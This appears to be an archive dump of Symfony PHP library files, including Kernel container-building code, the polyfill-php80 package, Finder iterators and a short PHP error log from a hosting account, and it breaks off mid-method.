&& \E_DEPRECATED !== $type) { return $previousHandler ? $previousHandler($type, $message, $file, $line) : false; } if (isset($collectedLogs[$message])) { ++$collectedLogs[$message]['count']; return null; } $backtrace = debug_backtrace(\DEBUG_BACKTRACE_IGNORE_ARGS, 5); // Clean the trace by removing first frames added by the error handler itself. for ($i = 0; isset($backtrace[$i]); ++$i) { if (isset($backtrace[$i]['file'], $backtrace[$i]['line']) && $backtrace[$i]['line'] === $line && $backtrace[$i]['file'] === $file) { $backtrace = \array_slice($backtrace, 1 + $i); break; } } for ($i = 0; isset($backtrace[$i]); ++$i) { if (!isset($backtrace[$i]['file'], $backtrace[$i]['line'], $backtrace[$i]['function'])) { continue; } if (!isset($backtrace[$i]['class']) && 'trigger_deprecation' === $backtrace[$i]['function']) { $file = $backtrace[$i]['file']; $line = $backtrace[$i]['line']; $backtrace = \array_slice($backtrace, 1 + $i); break; } } // Remove frames added by DebugClassLoader. for ($i = \count($backtrace) - 2; 0 < $i; --$i) { if (DebugClassLoader::class === ($backtrace[$i]['class'] ?? null)) { $backtrace = [$backtrace[$i + 1]]; break; } } $collectedLogs[$message] = [ 'type' => $type, 'message' => $message, 'file' => $file, 'line' => $line, 'trace' => [$backtrace[0]], 'count' => 1, ]; return null; }); } try { $container = null; $container = $this->buildContainer(); $container->compile(); } finally { if ($collectDeprecations) { restore_error_handler(); @file_put_contents($buildDir.'/'.$class.'Deprecations.log', serialize(array_values($collectedLogs))); @file_put_contents($buildDir.'/'.$class.'Compiler.log', null !== $container ? implode("\n", $container->getCompiler()->getLog()) : ''); } } $this->dumpContainer($cache, $container, $class, $this->getContainerBaseClass()); if ($lock) { flock($lock, \LOCK_UN); fclose($lock); } $this->container = require $cachePath; $this->container->set('kernel', $this); if ($oldContainer && $this->container::class !== $oldContainer->name) { // Because concurrent requests might still be using them, // old container files are not removed immediately, // but on a next dump of the container. static $legacyContainers = []; $oldContainerDir = \dirname($oldContainer->getFileName()); $legacyContainers[$oldContainerDir.'.legacy'] = true; foreach (glob(\dirname($oldContainerDir).\DIRECTORY_SEPARATOR.'*.legacy', \GLOB_NOSORT) as $legacyContainer) { if (!isset($legacyContainers[$legacyContainer]) && @unlink($legacyContainer)) { (new Filesystem())->remove(substr($legacyContainer, 0, -7)); } } touch($oldContainerDir.'.legacy'); } $preload = $this instanceof WarmableInterface ? (array) $this->warmUp($this->container->getParameter('kernel.cache_dir')) : []; if ($this->container->has('cache_warmer')) { $preload = array_merge($preload, (array) $this->container->get('cache_warmer')->warmUp($this->container->getParameter('kernel.cache_dir'))); } if ($preload && file_exists($preloadFile = $buildDir.'/'.$class.'.preload.php')) { Preloader::append($preloadFile, $preload); } } /** * Returns the kernel parameters. */ protected function getKernelParameters(): array { $bundles = []; $bundlesMetadata = []; foreach ($this->bundles as $name => $bundle) { $bundles[$name] = $bundle::class; $bundlesMetadata[$name] = [ 'path' => $bundle->getPath(), 'namespace' => $bundle->getNamespace(), ]; } return [ 'kernel.project_dir' => realpath($this->getProjectDir()) ?: $this->getProjectDir(), 'kernel.environment' => $this->environment, 'kernel.runtime_environment' => '%env(default:kernel.environment:APP_RUNTIME_ENV)%', 'kernel.debug' => $this->debug, 'kernel.build_dir' => realpath($buildDir = $this->warmupDir ?: $this->getBuildDir()) ?: $buildDir, 'kernel.cache_dir' => realpath($cacheDir = ($this->getCacheDir() === $this->getBuildDir() ? ($this->warmupDir ?: $this->getCacheDir()) : $this->getCacheDir())) ?: $cacheDir, 'kernel.logs_dir' => realpath($this->getLogDir()) ?: $this->getLogDir(), 'kernel.bundles' => $bundles, 'kernel.bundles_metadata' => $bundlesMetadata, 'kernel.charset' => $this->getCharset(), 'kernel.container_class' => $this->getContainerClass(), ]; } /** * Builds the service container. * * @throws \RuntimeException */ protected function buildContainer(): ContainerBuilder { foreach (['cache' => $this->getCacheDir(), 'build' => $this->warmupDir ?: $this->getBuildDir(), 'logs' => $this->getLogDir()] as $name => $dir) { if (!is_dir($dir)) { if (false === @mkdir($dir, 0777, true) && !is_dir($dir)) { throw new \RuntimeException(sprintf('Unable to create the "%s" directory (%s).', $name, $dir)); } } elseif (!is_writable($dir)) { throw new \RuntimeException(sprintf('Unable to write in the "%s" directory (%s).', $name, $dir)); } } $container = $this->getContainerBuilder(); $container->addObjectResource($this); $this->prepareContainer($container); $this->registerContainerConfiguration($this->getContainerLoader($container)); $container->addCompilerPass(new AddAnnotatedClassesToCachePass($this)); return $container; } /** * Prepares the ContainerBuilder before it is compiled. * * @return void */ protected function prepareContainer(ContainerBuilder $container) { $extensions = []; foreach ($this->bundles as $bundle) { if ($extension = $bundle->getContainerExtension()) { $container->registerExtension($extension); } if ($this->debug) { $container->addObjectResource($bundle); } } foreach ($this->bundles as $bundle) { $bundle->build($container); } $this->build($container); foreach ($container->getExtensions() as $extension) { $extensions[] = $extension->getAlias(); } // ensure these extensions are implicitly loaded $container->getCompilerPassConfig()->setMergePass(new MergeExtensionConfigurationPass($extensions)); } /** * Gets a new ContainerBuilder instance used to build the service container. */ protected function getContainerBuilder(): ContainerBuilder { $container = new ContainerBuilder(); $container->getParameterBag()->add($this->getKernelParameters()); if ($this instanceof ExtensionInterface) { $container->registerExtension($this); } if ($this instanceof CompilerPassInterface) { $container->addCompilerPass($this, PassConfig::TYPE_BEFORE_OPTIMIZATION, -10000); } return $container; } /** * Dumps the service container to PHP code in the cache. * * @param string $class The name of the class to generate * @param string $baseClass The name of the container's base class * * @return void */ protected function dumpContainer(ConfigCache $cache, ContainerBuilder $container, string $class, string $baseClass) { // cache the container $dumper = new PhpDumper($container); $buildParameters = []; foreach ($container->getCompilerPassConfig()->getPasses() as $pass) { if ($pass instanceof RemoveBuildParametersPass) { $buildParameters = array_merge($buildParameters, $pass->getRemovedParameters()); } } $inlineFactories = false; if (isset($buildParameters['.container.dumper.inline_factories'])) { $inlineFactories = $buildParameters['.container.dumper.inline_factories']; } elseif ($container->hasParameter('container.dumper.inline_factories')) { trigger_deprecation('symfony/http-kernel', '6.3', 'Parameter "%s" is deprecated, use ".%1$s" instead.', 'container.dumper.inline_factories'); $inlineFactories = $container->getParameter('container.dumper.inline_factories'); } $inlineClassLoader = $this->debug; if (isset($buildParameters['.container.dumper.inline_class_loader'])) { $inlineClassLoader = $buildParameters['.container.dumper.inline_class_loader']; } elseif ($container->hasParameter('container.dumper.inline_class_loader')) { trigger_deprecation('symfony/http-kernel', '6.3', 'Parameter "%s" is deprecated, use ".%1$s" instead.', 'container.dumper.inline_class_loader'); $inlineClassLoader = $container->getParameter('container.dumper.inline_class_loader'); } $content = $dumper->dump([ 'class' => $class, 'base_class' => $baseClass, 'file' => $cache->getPath(), 'as_files' => true, 'debug' => $this->debug, 'inline_factories' => $inlineFactories, 'inline_class_loader' => $inlineClassLoader, 'build_time' => $container->hasParameter('kernel.container_build_time') ? $container->getParameter('kernel.container_build_time') : time(), 'preload_classes' => array_map('get_class', $this->bundles), ]); $rootCode = array_pop($content); $dir = \dirname($cache->getPath()).'/'; $fs = new Filesystem(); foreach ($content as $file => $code) { $fs->dumpFile($dir.$file, $code); @chmod($dir.$file, 0666 & ~umask()); } $legacyFile = \dirname($dir.key($content)).'.legacy'; if (is_file($legacyFile)) { @unlink($legacyFile); } $cache->write($rootCode, $container->getResources()); } /** * Returns a loader for the container. */ protected function getContainerLoader(ContainerInterface $container): DelegatingLoader { $env = $this->getEnvironment(); $locator = new FileLocator($this); $resolver = new LoaderResolver([ new XmlFileLoader($container, $locator, $env), new YamlFileLoader($container, $locator, $env), new IniFileLoader($container, $locator, $env), new PhpFileLoader($container, $locator, $env, class_exists(ConfigBuilderGenerator::class) ? new ConfigBuilderGenerator($this->getBuildDir()) : null), new GlobFileLoader($container, $locator, $env), new DirectoryLoader($container, $locator, $env), new ClosureLoader($container, $env), ]); return new DelegatingLoader($resolver); } private function preBoot(): ContainerInterface { if ($this->debug) { $this->startTime = microtime(true); } if ($this->debug && !isset($_ENV['SHELL_VERBOSITY']) && !isset($_SERVER['SHELL_VERBOSITY'])) { putenv('SHELL_VERBOSITY=3'); $_ENV['SHELL_VERBOSITY'] = 3; $_SERVER['SHELL_VERBOSITY'] = 3; } $this->initializeBundles(); $this->initializeContainer(); $container = $this->container; if ($container->hasParameter('kernel.trusted_hosts') && $trustedHosts = $container->getParameter('kernel.trusted_hosts')) { Request::setTrustedHosts($trustedHosts); } if ($container->hasParameter('kernel.trusted_proxies') && $container->hasParameter('kernel.trusted_headers') && $trustedProxies = $container->getParameter('kernel.trusted_proxies')) { Request::setTrustedProxies(\is_array($trustedProxies) ? $trustedProxies : array_map('trim', explode(',', $trustedProxies)), $container->getParameter('kernel.trusted_headers')); } return $container; } /** * Removes comments from a PHP source string. * * We don't use the PHP php_strip_whitespace() function * as we want the content to be readable and well-formatted. */ public static function stripComments(string $source): string { if (!\function_exists('token_get_all')) { return $source; } $rawChunk = ''; $output = ''; $tokens = token_get_all($source); $ignoreSpace = false; for ($i = 0; isset($tokens[$i]); ++$i) { $token = $tokens[$i]; if (!isset($token[1]) || 'b"' === $token) { $rawChunk .= $token; } elseif (\T_START_HEREDOC === $token[0]) { $output .= $rawChunk.$token[1]; do { $token = $tokens[++$i]; $output .= isset($token[1]) && 'b"' !== $token ? $token[1] : $token; } while (\T_END_HEREDOC !== $token[0]); $rawChunk = ''; } elseif (\T_WHITESPACE === $token[0]) { if ($ignoreSpace) { $ignoreSpace = false; continue; } // replace multiple new lines with a single newline $rawChunk .= preg_replace(['/\n{2,}/S'], "\n", $token[1]); } elseif (\in_array($token[0], [\T_COMMENT, \T_DOC_COMMENT])) { if (!\in_array($rawChunk[\strlen($rawChunk) - 1], [' ', "\n", "\r", "\t"], true)) { $rawChunk .= ' '; } $ignoreSpace = true; } else { $rawChunk .= $token[1]; // The PHP-open tag already has a new-line if (\T_OPEN_TAG === $token[0]) { $ignoreSpace = true; } else { $ignoreSpace = false; } } } $output .= $rawChunk; unset($tokens, $rawChunk); gc_mem_caches(); return $output; } public function __sleep(): array { return ['environment', 'debug']; } public function __wakeup() { if (\is_object($this->environment) || \is_object($this->debug)) { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } $this->__construct($this->environment, $this->debug); } } http-kernel/Config/error_log000064400000001766151113511710012131 0ustar00[19-Nov-2025 12:05:21 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Config\FileLocator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Config/FileLocator.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Config/FileLocator.php on line 22 [25-Nov-2025 05:32:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Config\FileLocator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Config/FileLocator.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Config/FileLocator.php on line 22 [26-Nov-2025 02:03:37 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Config\FileLocator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Config/FileLocator.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Config/FileLocator.php on line 22 http-kernel/Config/FileLocator.php000064400000002116151113511710013116 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Config; use Symfony\Component\Config\FileLocator as BaseFileLocator; use Symfony\Component\HttpKernel\KernelInterface; /** * FileLocator uses the KernelInterface to locate resources in bundles. * * @author Fabien Potencier */ class FileLocator extends BaseFileLocator { private KernelInterface $kernel; public function __construct(KernelInterface $kernel) { $this->kernel = $kernel; parent::__construct(); } public function locate(string $file, string $currentPath = null, bool $first = true): string|array { if (isset($file[0]) && '@' === $file[0]) { $resource = $this->kernel->locateResource($file); return $first ? $resource : [$resource]; } return parent::locate($file, $currentPath, $first); } } polyfill-php80/bootstrap.php000064400000002774151113511710012067 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Php80 as p; if (\PHP_VERSION_ID >= 80000) { return; } if (!defined('FILTER_VALIDATE_BOOL') && defined('FILTER_VALIDATE_BOOLEAN')) { define('FILTER_VALIDATE_BOOL', \FILTER_VALIDATE_BOOLEAN); } if (!function_exists('fdiv')) { function fdiv(float $num1, float $num2): float { return p\Php80::fdiv($num1, $num2); } } if (!function_exists('preg_last_error_msg')) { function preg_last_error_msg(): string { return p\Php80::preg_last_error_msg(); } } if (!function_exists('str_contains')) { function str_contains(?string $haystack, ?string $needle): bool { return p\Php80::str_contains($haystack ?? '', $needle ?? ''); } } if (!function_exists('str_starts_with')) { function str_starts_with(?string $haystack, ?string $needle): bool { return p\Php80::str_starts_with($haystack ?? '', $needle ?? ''); } } if (!function_exists('str_ends_with')) { function str_ends_with(?string $haystack, ?string $needle): bool { return p\Php80::str_ends_with($haystack ?? '', $needle ?? ''); } } if (!function_exists('get_debug_type')) { function get_debug_type($value): string { return p\Php80::get_debug_type($value); } } if (!function_exists('get_resource_id')) { function get_resource_id($resource): int { return p\Php80::get_resource_id($resource); } } polyfill-php80/PhpToken.php000064400000004211151113511710011566 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php80; /** * @author Fedonyuk Anton * * @internal */ class PhpToken implements \Stringable { /** * @var int */ public $id; /** * @var string */ public $text; /** * @var int */ public $line; /** * @var int */ public $pos; public function __construct(int $id, string $text, int $line = -1, int $position = -1) { $this->id = $id; $this->text = $text; $this->line = $line; $this->pos = $position; } public function getTokenName(): ?string { if ('UNKNOWN' === $name = token_name($this->id)) { $name = \strlen($this->text) > 1 || \ord($this->text) < 32 ? null : $this->text; } return $name; } /** * @param int|string|array $kind */ public function is($kind): bool { foreach ((array) $kind as $value) { if (\in_array($value, [$this->id, $this->text], true)) { return true; } } return false; } public function isIgnorable(): bool { return \in_array($this->id, [\T_WHITESPACE, \T_COMMENT, \T_DOC_COMMENT, \T_OPEN_TAG], true); } public function __toString(): string { return (string) $this->text; } /** * @return static[] */ public static function tokenize(string $code, int $flags = 0): array { $line = 1; $position = 0; $tokens = token_get_all($code, $flags); foreach ($tokens as $index => $token) { if (\is_string($token)) { $id = \ord($token); $text = $token; } else { [$id, $text, $line] = $token; } $tokens[$index] = new static($id, $text, $line, $position); $position += \strlen($text); } return $tokens; } } polyfill-php80/Resources/stubs/PhpToken.php000064400000000567151113511720014713 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000 && extension_loaded('tokenizer')) { class PhpToken extends Symfony\Polyfill\Php80\PhpToken { } } polyfill-php80/Resources/stubs/Stringable.php000064400000000614151113511720015246 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000) { interface Stringable { /** * @return string */ public function __toString(); } } polyfill-php80/Resources/stubs/UnhandledMatchError.php000064400000000507151113511720017046 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000) { class UnhandledMatchError extends Error { } } polyfill-php80/Resources/stubs/ValueError.php000064400000000476151113511720015250 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000) { class ValueError extends Error { } } polyfill-php80/Resources/stubs/Attribute.php000064400000001360151113511720015116 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ #[Attribute(Attribute::TARGET_CLASS)] final class Attribute { public const TARGET_CLASS = 1; public const TARGET_FUNCTION = 2; public const TARGET_METHOD = 4; public const TARGET_PROPERTY = 8; public const TARGET_CLASS_CONSTANT = 16; public const TARGET_PARAMETER = 32; public const TARGET_ALL = 63; public const IS_REPEATABLE = 64; /** @var int */ public $flags; public function __construct(int $flags = self::TARGET_ALL) { $this->flags = $flags; } } polyfill-php80/README.md000064400000001627151113511720010615 0ustar00Symfony Polyfill / Php80 ======================== This component provides features added to PHP 8.0 core: - [`Stringable`](https://php.net/stringable) interface - [`fdiv`](https://php.net/fdiv) - [`ValueError`](https://php.net/valueerror) class - [`UnhandledMatchError`](https://php.net/unhandledmatcherror) class - `FILTER_VALIDATE_BOOL` constant - [`get_debug_type`](https://php.net/get_debug_type) - [`PhpToken`](https://php.net/phptoken) class - [`preg_last_error_msg`](https://php.net/preg_last_error_msg) - [`str_contains`](https://php.net/str_contains) - [`str_starts_with`](https://php.net/str_starts_with) - [`str_ends_with`](https://php.net/str_ends_with) - [`get_resource_id`](https://php.net/get_resource_id) More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). polyfill-php80/LICENSE000064400000002054151113511720010336 0ustar00Copyright (c) 2020-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. polyfill-php80/Php80.php000064400000006771151113511730010754 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php80; /** * @author Ion Bazan * @author Nico Oelgart * @author Nicolas Grekas * * @internal */ final class Php80 { public static function fdiv(float $dividend, float $divisor): float { return @($dividend / $divisor); } public static function get_debug_type($value): string { switch (true) { case null === $value: return 'null'; case \is_bool($value): return 'bool'; case \is_string($value): return 'string'; case \is_array($value): return 'array'; case \is_int($value): return 'int'; case \is_float($value): return 'float'; case \is_object($value): break; case $value instanceof \__PHP_Incomplete_Class: return '__PHP_Incomplete_Class'; default: if (null === $type = @get_resource_type($value)) { return 'unknown'; } if ('Unknown' === $type) { $type = 'closed'; } return "resource ($type)"; } $class = \get_class($value); if (false === strpos($class, '@')) { return $class; } return (get_parent_class($class) ?: key(class_implements($class)) ?: 'class').'@anonymous'; } public static function get_resource_id($res): int { if (!\is_resource($res) && null === @get_resource_type($res)) { throw new \TypeError(sprintf('Argument 1 passed to get_resource_id() must be of the type resource, %s given', get_debug_type($res))); } return (int) $res; } public static function preg_last_error_msg(): string { switch (preg_last_error()) { case \PREG_INTERNAL_ERROR: return 'Internal error'; case \PREG_BAD_UTF8_ERROR: return 'Malformed UTF-8 characters, possibly incorrectly encoded'; case \PREG_BAD_UTF8_OFFSET_ERROR: return 'The offset did not correspond to the beginning of a valid UTF-8 code point'; case \PREG_BACKTRACK_LIMIT_ERROR: return 'Backtrack limit exhausted'; case \PREG_RECURSION_LIMIT_ERROR: return 'Recursion limit exhausted'; case \PREG_JIT_STACKLIMIT_ERROR: return 'JIT stack limit exhausted'; case \PREG_NO_ERROR: return 'No error'; default: return 'Unknown error'; } } public static function str_contains(string $haystack, string $needle): bool { return '' === $needle || false !== strpos($haystack, $needle); } public static function str_starts_with(string $haystack, string $needle): bool { return 0 === strncmp($haystack, $needle, \strlen($needle)); } public static function str_ends_with(string $haystack, string $needle): bool { if ('' === $needle || $needle === $haystack) { return true; } if ('' === $haystack) { return false; } $needleLength = \strlen($needle); return $needleLength <= \strlen($haystack) && 0 === substr_compare($haystack, $needle, -$needleLength); } } polyfill-php80/composer.json000064400000002075151113511730012057 0ustar00{ "name": "symfony/polyfill-php80", "type": "library", "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", "keywords": ["polyfill", "shim", "compatibility", "portable"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Ion Bazan", "email": "ion.bazan@gmail.com" }, { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.1" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Php80\\": "" }, "files": [ "bootstrap.php" ], "classmap": [ "Resources/stubs" ] }, "minimum-stability": "dev", "extra": { "branch-alias": { "dev-main": "1.28-dev" }, "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } finder/Iterator/PathFilterIterator.php000064400000002617151113511730014075 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\SplFileInfo; /** * PathFilterIterator filters files by path patterns (e.g. some/special/dir). * * @author Fabien Potencier * @author Włodzimierz Gajda * * @extends MultiplePcreFilterIterator */ class PathFilterIterator extends MultiplePcreFilterIterator { /** * Filters the iterator values. */ public function accept(): bool { $filename = $this->current()->getRelativePathname(); if ('\\' === \DIRECTORY_SEPARATOR) { $filename = str_replace('\\', '/', $filename); } return $this->isAccepted($filename); } /** * Converts strings to regexp. * * PCRE patterns are left unchanged. * * Default conversion: * 'lorem/ipsum/dolor' ==> 'lorem\/ipsum\/dolor/' * * Use only / as directory separator (on Windows also). * * @param string $str Pattern: regexp or dirname */ protected function toRegex(string $str): string { return $this->isRegex($str) ? $str : '/'.preg_quote($str, '/').'/'; } } finder/Iterator/SortableIterator.php000064400000011054151113511730013601 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * SortableIterator applies a sort on a given Iterator. * * @author Fabien Potencier * * @implements \IteratorAggregate */ class SortableIterator implements \IteratorAggregate { public const SORT_BY_NONE = 0; public const SORT_BY_NAME = 1; public const SORT_BY_TYPE = 2; public const SORT_BY_ACCESSED_TIME = 3; public const SORT_BY_CHANGED_TIME = 4; public const SORT_BY_MODIFIED_TIME = 5; public const SORT_BY_NAME_NATURAL = 6; public const SORT_BY_NAME_CASE_INSENSITIVE = 7; public const SORT_BY_NAME_NATURAL_CASE_INSENSITIVE = 8; public const SORT_BY_EXTENSION = 9; public const SORT_BY_SIZE = 10; /** @var \Traversable */ private \Traversable $iterator; private \Closure|int $sort; /** * @param \Traversable $iterator * @param int|callable $sort The sort type (SORT_BY_NAME, SORT_BY_TYPE, or a PHP callback) * * @throws \InvalidArgumentException */ public function __construct(\Traversable $iterator, int|callable $sort, bool $reverseOrder = false) { $this->iterator = $iterator; $order = $reverseOrder ? -1 : 1; if (self::SORT_BY_NAME === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * strcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); } elseif (self::SORT_BY_NAME_NATURAL === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * strnatcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); } elseif (self::SORT_BY_NAME_CASE_INSENSITIVE === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * strcasecmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); } elseif (self::SORT_BY_NAME_NATURAL_CASE_INSENSITIVE === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * strnatcasecmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); } elseif (self::SORT_BY_TYPE === $sort) { $this->sort = static function (\SplFileInfo $a, \SplFileInfo $b) use ($order) { if ($a->isDir() && $b->isFile()) { return -$order; } elseif ($a->isFile() && $b->isDir()) { return $order; } return $order * strcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); }; } elseif (self::SORT_BY_ACCESSED_TIME === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * ($a->getATime() - $b->getATime()); } elseif (self::SORT_BY_CHANGED_TIME === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * ($a->getCTime() - $b->getCTime()); } elseif (self::SORT_BY_MODIFIED_TIME === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * ($a->getMTime() - $b->getMTime()); } elseif (self::SORT_BY_EXTENSION === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * strnatcmp($a->getExtension(), $b->getExtension()); } elseif (self::SORT_BY_SIZE === $sort) { $this->sort = static fn (\SplFileInfo $a, \SplFileInfo $b) => $order * ($a->getSize() - $b->getSize()); } elseif (self::SORT_BY_NONE === $sort) { $this->sort = $order; } elseif (\is_callable($sort)) { $this->sort = $reverseOrder ? static fn (\SplFileInfo $a, \SplFileInfo $b) => -$sort($a, $b) : $sort(...); } else { throw new \InvalidArgumentException('The SortableIterator takes a PHP callable or a valid built-in sort algorithm as an argument.'); } } public function getIterator(): \Traversable { if (1 === $this->sort) { return $this->iterator; } $array = iterator_to_array($this->iterator, true); if (-1 === $this->sort) { $array = array_reverse($array); } else { uasort($array, $this->sort); } return new \ArrayIterator($array); } } finder/Iterator/RecursiveDirectoryIterator.php000064400000007673151113511730015676 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Exception\AccessDeniedException; use Symfony\Component\Finder\SplFileInfo; /** * Extends the \RecursiveDirectoryIterator to support relative paths. * * @author Victor Berchet * * @extends \RecursiveDirectoryIterator */ class RecursiveDirectoryIterator extends \RecursiveDirectoryIterator { private bool $ignoreUnreadableDirs; private bool $ignoreFirstRewind = true; // these 3 properties take part of the performance optimization to avoid redoing the same work in all iterations private string $rootPath; private string $subPath; private string $directorySeparator = '/'; /** * @throws \RuntimeException */ public function __construct(string $path, int $flags, bool $ignoreUnreadableDirs = false) { if ($flags & (self::CURRENT_AS_PATHNAME | self::CURRENT_AS_SELF)) { throw new \RuntimeException('This iterator only support returning current as fileinfo.'); } parent::__construct($path, $flags); $this->ignoreUnreadableDirs = $ignoreUnreadableDirs; $this->rootPath = $path; if ('/' !== \DIRECTORY_SEPARATOR && !($flags & self::UNIX_PATHS)) { $this->directorySeparator = \DIRECTORY_SEPARATOR; } } /** * Return an instance of SplFileInfo with support for relative paths. */ public function current(): SplFileInfo { // the logic here avoids redoing the same work in all iterations if (!isset($this->subPath)) { $this->subPath = $this->getSubPath(); } $subPathname = $this->subPath; if ('' !== $subPathname) { $subPathname .= $this->directorySeparator; } $subPathname .= $this->getFilename(); if ('/' !== $basePath = $this->rootPath) { $basePath .= $this->directorySeparator; } return new SplFileInfo($basePath.$subPathname, $this->subPath, $subPathname); } public function hasChildren(bool $allowLinks = false): bool { $hasChildren = parent::hasChildren($allowLinks); if (!$hasChildren || !$this->ignoreUnreadableDirs) { return $hasChildren; } try { parent::getChildren(); return true; } catch (\UnexpectedValueException) { // If directory is unreadable and finder is set to ignore it, skip children return false; } } /** * @throws AccessDeniedException */ public function getChildren(): \RecursiveDirectoryIterator { try { $children = parent::getChildren(); if ($children instanceof self) { // parent method will call the constructor with default arguments, so unreadable dirs won't be ignored anymore $children->ignoreUnreadableDirs = $this->ignoreUnreadableDirs; // performance optimization to avoid redoing the same work in all children $children->rootPath = $this->rootPath; } return $children; } catch (\UnexpectedValueException $e) { throw new AccessDeniedException($e->getMessage(), $e->getCode(), $e); } } public function next(): void { $this->ignoreFirstRewind = false; parent::next(); } public function rewind(): void { // some streams like FTP are not rewindable, ignore the first rewind after creation, // as newly created DirectoryIterator does not need to be rewound if ($this->ignoreFirstRewind) { $this->ignoreFirstRewind = false; return; } parent::rewind(); } } finder/Iterator/LazyIterator.php000064400000001256151113511730012750 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * @author Jérémy Derussé * * @internal */ class LazyIterator implements \IteratorAggregate { private \Closure $iteratorFactory; public function __construct(callable $iteratorFactory) { $this->iteratorFactory = $iteratorFactory(...); } public function getIterator(): \Traversable { yield from ($this->iteratorFactory)(); } } finder/Iterator/VcsIgnoredFilterIterator.php000064400000011173151113511730015241 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; use Symfony\Component\Finder\Gitignore; /** * @extends \FilterIterator */ final class VcsIgnoredFilterIterator extends \FilterIterator { /** * @var string */ private $baseDir; /** * @var array */ private $gitignoreFilesCache = []; /** * @var array */ private $ignoredPathsCache = []; /** * @param \Iterator $iterator */ public function __construct(\Iterator $iterator, string $baseDir) { $this->baseDir = $this->normalizePath($baseDir); foreach ($this->parentDirectoriesUpwards($this->baseDir) as $parentDirectory) { if (@is_dir("{$parentDirectory}/.git")) { $this->baseDir = $parentDirectory; break; } } parent::__construct($iterator); } public function accept(): bool { $file = $this->current(); $fileRealPath = $this->normalizePath($file->getRealPath()); return !$this->isIgnored($fileRealPath); } private function isIgnored(string $fileRealPath): bool { if (is_dir($fileRealPath) && !str_ends_with($fileRealPath, '/')) { $fileRealPath .= '/'; } if (isset($this->ignoredPathsCache[$fileRealPath])) { return $this->ignoredPathsCache[$fileRealPath]; } $ignored = false; foreach ($this->parentDirectoriesDownwards($fileRealPath) as $parentDirectory) { if ($this->isIgnored($parentDirectory)) { // rules in ignored directories are ignored, no need 